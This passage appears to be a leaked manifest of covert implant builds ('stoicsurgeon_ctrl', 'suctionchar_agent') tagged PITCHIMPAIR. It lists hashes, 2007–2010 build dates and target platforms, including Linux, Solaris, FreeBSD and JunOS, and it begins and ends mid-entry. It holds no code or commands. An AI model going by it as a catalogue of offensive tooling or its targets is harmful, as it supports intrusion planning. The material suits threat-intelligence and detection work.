16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.3_x86-linux-slackware-11.0 +2C9A906E37DC380239B39497F43D3B8555117656 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.4_x86-linux-vinifera-bs101v01 +2C9A906E37DC380239B39497F43D3B8555117656 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.5_x86-linux-redhat-enterprise-4.0 +2C9A906E37DC380239B39497F43D3B8555117656 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.7_x86-linux-redhat-9.0 +2C9A906E37DC380239B39497F43D3B8555117656 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.8_x86-linux-toadyteal-rowdaco.com +2C9A906E37DC380239B39497F43D3B8555117656 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.9_x86-linux-centos-5.1 +DB5F2FF387A1919769FA055402B5A272192B0A86 Thu Aug 20 19:16:16 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.9.1_x86_64-linux-suse-10.1 +C2A0E44E18F0746D479CC169D1427D96DC0511A3 Tue Aug 31 15:22:28 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.0.1_x86_64-freebsd-potbed-greencache4 +8620351463CD6F624C9183EFB9C0E4869AB989A3 Wed Sep 1 11:50:06 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.0.2_x86_64-freebsd-7.0 +C2A0E44E18F0746D479CC169D1427D96DC0511A3 Tue Aug 31 15:22:28 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.0.3_x86_64-freebsd-potbed-cache55 +C2A0E44E18F0746D479CC169D1427D96DC0511A3 Tue Aug 31 15:22:28 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.0.4_x86_64-freebsd-7.2 +A0DE2F0BC455C43B68F721B3B5F93B2006E69F8D Fri Sep 3 19:55:21 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.0.6_x86_64-linux-centos-5.5 +578A1CA59AB9359BCF637E366FD88F9DC696C414 Tue Sep 14 22:35:25 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.1.1_x86-linux-centos-5.4 +578A1CA59AB9359BCF637E366FD88F9DC696C414 Tue Sep 14 22:35:25 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.1.2_x86-linux-centos-5.5 +0257FB955D3ECB09DCF15824675300DC61EA37C2 Fri Sep 17 17:16:53 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.1.4_x86_64-linux-redhat-enterprise-5.5 +B473ADB433FB85E9E1146F3684026EE6EBDE5866 Wed Nov 17 18:19:17 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.10.2_x86-linux-centos-4.4 +B473ADB433FB85E9E1146F3684026EE6EBDE5866 Wed Nov 17 18:19:17 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.10.5_x86-linux-acridmini-sg +DF7F03E3207E4CE4314BA4B8F6BFD8E3E45CB378 Mon Sep 27 14:21:54 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.3.1_x86-linux-acridmini-sg +3F82CBDFA19399C04E30B9EFE946F9EA51E771BD Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.4.1_x86-linux-redhat-enterprise-4.0 +3F82CBDFA19399C04E30B9EFE946F9EA51E771BD Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.4.3_x86-linux-redstar-1.1 +3F82CBDFA19399C04E30B9EFE946F9EA51E771BD Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.4.4_x86-linux-suse-11.0 +F65DE4E1EDABB1958E18B655819FF851A4AFB677 Tue Oct 5 14:40:47 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.4.5_x86_64-linux-suse-enterprise-10.2 +C497152DE38D66CEB5C0ABF3E710903620C6DCF8 Fri Oct 1 14:45:36 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.5.1_x86-linux-waxstart-17331hd51071.ikoula.com +3C7E105818687D445C1194DD5CDD877333F3EB9E Wed Oct 6 20:34:30 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.6.2_x86-linux-fedora13 +E14613DC37BAF1E1B82093B54E26765A001874C7 Fri Oct 8 16:51:50 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.7.1_x86_64-linux-centos-5.5 +CAF5D75E99DCA1C28973282AA77E54BA83D4C1D1 Wed Oct 13 20:51:39 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.7.2_x86-linux-debian-4.0 +BEDA5C524825EE23CE7F3FE4F3F689D7FC4CA9DE Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.1_x86-junos-8.5 +BEDA5C524825EE23CE7F3FE4F3F689D7FC4CA9DE Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.2_x86-junos-9.0 +BEDA5C524825EE23CE7F3FE4F3F689D7FC4CA9DE Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.3_x86-junos-9.1 +BEDA5C524825EE23CE7F3FE4F3F689D7FC4CA9DE Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.4_x86-junos-9.2 +BEDA5C524825EE23CE7F3FE4F3F689D7FC4CA9DE Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.6_x86-junos-9.4 +BEDA5C524825EE23CE7F3FE4F3F689D7FC4CA9DE Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.7_x86-junos-9.5 +BEDA5C524825EE23CE7F3FE4F3F689D7FC4CA9DE Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.8_x86-junos-9.6 +2EDA80749B47475D9EA49B2469CBD016B5402621 Wed Oct 20 21:03:52 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.9_x86-linux-redhat-enterprise-4.0 +402F968437D25FABF5FEC64F02665533488D4BB4 Tue Oct 26 12:49:22 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.9.1_x86-junos-10.0 +402F968437D25FABF5FEC64F02665533488D4BB4 Tue Oct 26 12:49:22 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.9.2_x86-junos-10.1 +402F968437D25FABF5FEC64F02665533488D4BB4 Tue Oct 26 12:49:22 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.9.3_x86-junos-10.2 +402F968437D25FABF5FEC64F02665533488D4BB4 Tue Oct 26 12:49:22 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.9.4_x86-junos-10.3 +A6850A48B4EF4E9FA7B4B8BF97A23684AFB4CE0B Fri Nov 5 03:45:56 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.9.5_x86-linux-slackware-12.2 +B473ADB433FB85E9E1146F3684026EE6EBDE5866 Wed Nov 17 18:19:17 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.9.6_x86-linux-acridmini-sg +DE20794A82CF716AE2D461518AAF06D8C7012D08 Wed Jan 6 00:24:29 2010 [PITCHIMPAIR.99] suctionchar_agent__v__1.5.17.7_x86-linux-centos-5.4 +C031303B5095315CA5DB861A86E19CED4E1F5EDA Mon Jul 9 16:57:39 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.10.1_x86-linux-mandriva-2006 +43154C137DA0EBAC0059CDA646B012B9D9E35D8E Wed Jul 25 16:24:00 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.10.4_x86-linux-redhat-enterprise-4.0 +995419B08D0EDC9B826C3E48FC4414ED21594FC1 Wed Aug 8 21:25:38 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.11.2_x86-linux-redhat-enterprise-3.0 +995419B08D0EDC9B826C3E48FC4414ED21594FC1 Wed Aug 8 21:25:38 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.11.3_x86-linux-slackware-10.2 +D88F2843734D3FCC715EB6A7B80AF97ACD06CB6B Mon Aug 27 21:39:37 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.12.1_sparc-sun-solaris2.7 +35F6DA47BD511BA891298D20D2F968EA985F162E Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.13.1_x86-linux-fedora5 +35F6DA47BD511BA891298D20D2F968EA985F162E Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.13.2_x86-linux-fedora6 +35F6DA47BD511BA891298D20D2F968EA985F162E Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.13.4_x86-linux-redhat-7.3 +F1AD90013BDFEE3A504CA42E77B18E9767998DD2 Wed Dec 12 14:31:46 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.17.1_x86-linux-suse-8.2 +F1AD90013BDFEE3A504CA42E77B18E9767998DD2 Wed Dec 12 14:31:46 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.17.3_x86-linux-suse-10.0 +F1AD90013BDFEE3A504CA42E77B18E9767998DD2 Wed Dec 12 14:31:46 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.17.4_x86-linux-tilttop-gate.nto +D542607D7021D32C54E54C771084C91555515D1F Tue Dec 18 20:46:17 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.18.1_x86-freebsd-6.2 +67A464483ED0A07FEFF81D1EEBB1CD311C11AD3C Thu Feb 7 23:21:00 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.22.1_x86-linux-fedora7 +16705F5E9629906C69F31BB5193FDC865CF17D71 Thu Feb 21 22:52:24 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.23.4_sparc-sun-solaris2.9 +16705F5E9629906C69F31BB5193FDC865CF17D71 Thu Feb 21 22:52:24 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.23.5_sparc-sun-solaris2.10 +76D63B7258448D53B502BFDC6E1FB9408996DD18 Tue Mar 4 17:03:35 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.24.6_x86-linux-fedora4 +9D1E4B041F8EF00483775A7E3651636CC618E785 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.11_i386-pc-solaris2.8 +9D1E4B041F8EF00483775A7E3651636CC618E785 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.12_i386-pc-solaris2.9 +9D1E4B041F8EF00483775A7E3651636CC618E785 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.13_i386-pc-solaris2.10 +F45C0B9F8AFC75DBE6A2336BF55F62848833CB85 Tue Mar 25 17:59:50 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.14_x86-linux-fedora4 +F45C0B9F8AFC75DBE6A2336BF55F62848833CB85 Tue Mar 25 17:59:50 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.15_x86-linux-redhat-7.3 +F45C0B9F8AFC75DBE6A2336BF55F62848833CB85 Tue Mar 25 17:59:50 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.16_x86-linux-mandrake-9.2 +185C684FA83DAB8D7E3D4A0B2541F5E72B3F6332 Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.17_x86-linux-centos-5.0 +185C684FA83DAB8D7E3D4A0B2541F5E72B3F6332 Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.18_x86-linux-tilttop +185C684FA83DAB8D7E3D4A0B2541F5E72B3F6332 Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.19_x86-linux-debian-3.0 +185C684FA83DAB8D7E3D4A0B2541F5E72B3F6332 Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.1_x86-linux-fedora7 +C2C15CDDA3D804B9D40C7C4DA90F8F32769CF884 Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.22_sparc-sun-solaris2.10 +C2C15CDDA3D804B9D40C7C4DA90F8F32769CF884 Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.23_sparc-sun-solaris2.9 +9D1E4B041F8EF00483775A7E3651636CC618E785 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.24_i386-pc-solaris2.9 +C2C15CDDA3D804B9D40C7C4DA90F8F32769CF884 Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.25_sparc-sun-solaris2.10 +9D1E4B041F8EF00483775A7E3651636CC618E785 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.26_i386-pc-solaris2.10 +185C684FA83DAB8D7E3D4A0B2541F5E72B3F6332 Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.27_x86-linux-slackware-10.0 +4AEEE65A0FD1ECD50238103CE2D33085382622C9 Mon Mar 24 19:47:42 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.2_x86-freebsd-5.3 +5F632266CD41C63D748BF15831277569DA8FAE6F Mon Mar 24 20:29:40 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.4_x86-freebsd-6.0 +4C2FB445ACEBBCD535F40D5A1368DE219FC78032 Mon Mar 24 21:30:12 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.5_x86-freebsd-6.1 +1DAC6F2FC426A5F1CB286783BA921B39C0D92CBA Mon Mar 24 21:46:45 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.6_x86-freebsd-6.2 +C2C15CDDA3D804B9D40C7C4DA90F8F32769CF884 Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.8_sparc-sun-solaris2.8 +C2C15CDDA3D804B9D40C7C4DA90F8F32769CF884 Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.27.9_sparc-sun-solaris2.9 +56AFDFAF2939B37157055456CB98251A3FF9AC21 Fri Apr 18 00:39:06 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.28.1_x86-freebsd-5.5 +E6B26635E807B212B3BA2BFA6A63E6DDFF9D4134 Wed Jul 16 21:34:44 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.28.2_x86-linux-centos-5.1 +F9F0204458197EADE0C929F924BDAAEE87B91A61 Fri Jul 25 18:12:39 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.28.5_x86-linux-fedora1 +12126D04570131387FD92F3E5F2217D41DDAF5BA Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.29.1_x86-linux-debian-4.0 +12126D04570131387FD92F3E5F2217D41DDAF5BA Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.29.2_x86-linux-tilttop +12126D04570131387FD92F3E5F2217D41DDAF5BA Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.29.4_x86-linux-fedora7 +12126D04570131387FD92F3E5F2217D41DDAF5BA Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.29.5_x86-linux-centos-4.5 +12126D04570131387FD92F3E5F2217D41DDAF5BA Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.29.6_x86-linux-fedora6 +12126D04570131387FD92F3E5F2217D41DDAF5BA Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.29.8_x86-linux-centos-5.2 +5B4EC50521775884E68DF6577A84893FD55A7688 Tue Sep 30 16:18:55 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.31.10_x86-linux-tilttop +5B4EC50521775884E68DF6577A84893FD55A7688 Tue Sep 30 16:18:55 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.31.1_x86-linux-debian-4.0 +5B4EC50521775884E68DF6577A84893FD55A7688 Tue Sep 30 16:18:55 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.31.2_x86-linux-tilttop +5B4EC50521775884E68DF6577A84893FD55A7688 Tue Sep 30 16:18:55 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.31.3_x86-linux-centos-5.2 +5B4EC50521775884E68DF6577A84893FD55A7688 Tue Sep 30 16:18:55 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.31.5_suctionchar_x86linux_centos_4.5 +5B4EC50521775884E68DF6577A84893FD55A7688 Tue Sep 30 16:18:55 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.31.8_x86-linux-suse-9.3 +5B4EC50521775884E68DF6577A84893FD55A7688 Tue Sep 30 16:18:55 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.31.9_x86-linux-tilttop +EFC327C0975A4F57322ADA5C0D40506000CB3961 Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.32.2_x86-linux-fedora7 +EFC327C0975A4F57322ADA5C0D40506000CB3961 Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.32.3_x86-linux-redhat-7.3 +EFC327C0975A4F57322ADA5C0D40506000CB3961 Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.32.4_x86-linux-redhat-8.0 +EFC327C0975A4F57322ADA5C0D40506000CB3961 Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.32.5_x86-linux-suse-10.0 +11B8749FC21CB73355B73737A87B17CDD83DE20A Wed Jan 7 13:53:38 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.32.7_sparc-sun-solaris2.8 +C43B1DA261957EC75A5E0002308011DA64242FDF Wed Jan 7 14:50:30 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.32.8_sparc-sun-solaris2.9 +9311E9BD505E7F8523FC9AECC0DB4861F2AE294B Wed Jan 7 15:25:35 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.32.9_sparc-sun-solaris2.10 +9C424FA045513A98365EDE5E1735CC5FF404617C Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.35.10_x86-linux-fedora6 +9C424FA045513A98365EDE5E1735CC5FF404617C Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.35.12_x86-linux-tilttop +9C424FA045513A98365EDE5E1735CC5FF404617C Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.35.13_x86-linux-tilttop +9C424FA045513A98365EDE5E1735CC5FF404617C Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.35.1_x86-linux-alt-4.0 +9C424FA045513A98365EDE5E1735CC5FF404617C Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.35.2_x86-linux-ubuntu-7.04 +9C424FA045513A98365EDE5E1735CC5FF404617C Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.35.6_x86-linux-slackware-9.1 +9C424FA045513A98365EDE5E1735CC5FF404617C Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.35.7_x86-linux-centos-5.1 +9C424FA045513A98365EDE5E1735CC5FF404617C Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.35.9_x86-linux-crypticsentinel-mailser +3A728AEC2EB73CF561052A08ED0A10BD322919DA Fri Feb 13 15:06:41 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.36.1_x86-linux-fedora3 +3A728AEC2EB73CF561052A08ED0A10BD322919DA Fri Feb 13 15:06:41 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.36.2_x86-linux-centos-5.2 +3A728AEC2EB73CF561052A08ED0A10BD322919DA Fri Feb 13 15:06:41 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.36.5_x86-linux-centos-4.3 +3A728AEC2EB73CF561052A08ED0A10BD322919DA Fri Feb 13 15:06:41 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.36.7_x86-linux-redhat-enterprise-3.0 +9D1B8367CECA067D36D82CCF225BDC92BB467827 Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.37.1_suctionchar_x86_linux_fedora5 +9D1B8367CECA067D36D82CCF225BDC92BB467827 Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.37.2_suctionchar_x86_linux_tilttop +9D1B8367CECA067D36D82CCF225BDC92BB467827 Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.37.3_x86-linux-redhat-enterprise-4.0 +9D1B8367CECA067D36D82CCF225BDC92BB467827 Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.37.4_x86-linux-vinifera-bs003v01 +9D1B8367CECA067D36D82CCF225BDC92BB467827 Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.37.5_suctionchar_x86_linux_debian_4.0 +9D1B8367CECA067D36D82CCF225BDC92BB467827 Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.37.6_x86-linux-suse-enterprise-9 +9D1B8367CECA067D36D82CCF225BDC92BB467827 Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.37.8_x86-linux-debian-3.1 +108F9754CECA9161CE3ABA69603D8D8D27BDF4CB Fri Feb 27 17:01:03 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.38.1_x86-freebsd-6.1-wickedviper +84D22DDA0C53272D6CBE6C92B3C55736085BD4F1 Tue Mar 24 14:23:31 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.39.1_x86-linux-suse-10.3 +84D22DDA0C53272D6CBE6C92B3C55736085BD4F1 Tue Mar 24 14:23:31 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.39.2_x86-linux-fedora7 +84D22DDA0C53272D6CBE6C92B3C55736085BD4F1 Tue Mar 24 14:23:31 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.39.3_x86-linux-fedora6 +84D22DDA0C53272D6CBE6C92B3C55736085BD4F1 Tue Mar 24 14:23:31 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.39.4_x86-linux-slackware-12.0 +5A7F11443B586FFF92EAC1D9BF226E5B275769B8 Wed Apr 8 01:15:31 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.39.5_sparc-sun-solaris2.8 +71F99F167CC298D7C0B699D13DC0992DFA2015AB Thu Apr 9 03:24:15 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.39.6_sparc-sun-solaris2.9 +634EB1C281CB2567FBA73DD13DDF75FFB1F3B752 Wed Apr 15 20:19:15 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.39.7_sparc-sun-solaris2.10 +634EB1C281CB2567FBA73DD13DDF75FFB1F3B752 Wed Apr 15 20:19:15 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.39.8_sparc-sun-solaris2.10 +2E5D355CBD3633116BC0742377D1C7B6CE34BE80 Fri Jan 19 17:53:09 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.4.1_x86-linux-redhat-enterprise-3.0 +2E5D355CBD3633116BC0742377D1C7B6CE34BE80 Fri Jan 19 17:53:09 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.4.2_x86-linux-redhat-7.2 +FA12F339D799FF92EE282458A79BF814C1FD538C Wed Jan 24 20:42:53 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.4.3_x86-linux-2.4-tilttop-comet_emx_ns +8EA35A1132DA0C2CB1B40638FD137BD72E8DF515 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.10_x86-linux-asianux-1.0 +8EA35A1132DA0C2CB1B40638FD137BD72E8DF515 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.11_x86-linux-suse-10.0 +8EA35A1132DA0C2CB1B40638FD137BD72E8DF515 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.12_x86-linux-ubuntu-8.04 +8EA35A1132DA0C2CB1B40638FD137BD72E8DF515 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.13_x86-linux-alt-2.4 +8EA35A1132DA0C2CB1B40638FD137BD72E8DF515 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.14_x86-linux-redhat-7.2 +8EA35A1132DA0C2CB1B40638FD137BD72E8DF515 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.15_x86-linux-slackware-11.0 +8EA35A1132DA0C2CB1B40638FD137BD72E8DF515 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.16_x86-linux-vinifera-bs101v01 +8EA35A1132DA0C2CB1B40638FD137BD72E8DF515 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.17_x86-linux-redhat-enterprise-4.0 +8EA35A1132DA0C2CB1B40638FD137BD72E8DF515 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.19_x86-linux-redhat-9.0 +444BDF3322D46D42151CB9C05BCE56CE9F2F66BD Wed Jun 10 22:54:56 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.1_x86-linux-centos-4.4 +8EA35A1132DA0C2CB1B40638FD137BD72E8DF515 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.20_suctionchar_x86_linux_toadyteal_rowdaco.com +8EA35A1132DA0C2CB1B40638FD137BD72E8DF515 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.21_x86-linux-centos-5.1 +444BDF3322D46D42151CB9C05BCE56CE9F2F66BD Wed Jun 10 22:54:56 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.2_x86-linux-centos-4.6 +444BDF3322D46D42151CB9C05BCE56CE9F2F66BD Wed Jun 10 22:54:56 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.3_x86-linux-tilttop-gate2 +444BDF3322D46D42151CB9C05BCE56CE9F2F66BD Wed Jun 10 22:54:56 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.5_x86-linux-charmshrill-server +8DC1958C1D28D7C3F9C625FBCB098918852FEC01 Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.6_x86-linux-wolfacid_iq-lunasat-qos +8EA35A1132DA0C2CB1B40638FD137BD72E8DF515 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.7_x86-linux-fataltouch +8EA35A1132DA0C2CB1B40638FD137BD72E8DF515 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.40.9_x86-linux-suse-10.3 +19352380CE9F45DABC0BD47659F2DD5342E3D114 Thu Mar 1 19:10:07 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.5.11_x86-linux-redhat-9.0 +19352380CE9F45DABC0BD47659F2DD5342E3D114 Thu Mar 1 19:10:07 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.5.3_x86-linux-fedora4 +9E574B34886C801B6DBEE6604966124B2EDDD3F2 Fri Feb 23 23:21:44 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.5.6_sparc-sun-solaris2.8 +B31411876E41E5CC3944FEB4D0018A14311A658C Mon Feb 26 21:41:37 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.5.9_sparc-sun-solaris2.10 +24E37DACE90442BB174B9AC2F186C59498DFA375 Fri Mar 9 17:47:47 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.6.2_x86-linux-fedora2 +24E37DACE90442BB174B9AC2F186C59498DFA375 Fri Mar 9 17:47:47 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.6.3_x86-linux-fedora3 +24E37DACE90442BB174B9AC2F186C59498DFA375 Fri Mar 9 17:47:47 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.6.4_x86-linux-debian-3.1 +A9805A03BA1CAB5E580F4935F6C2905E3BD193B5 Mon Mar 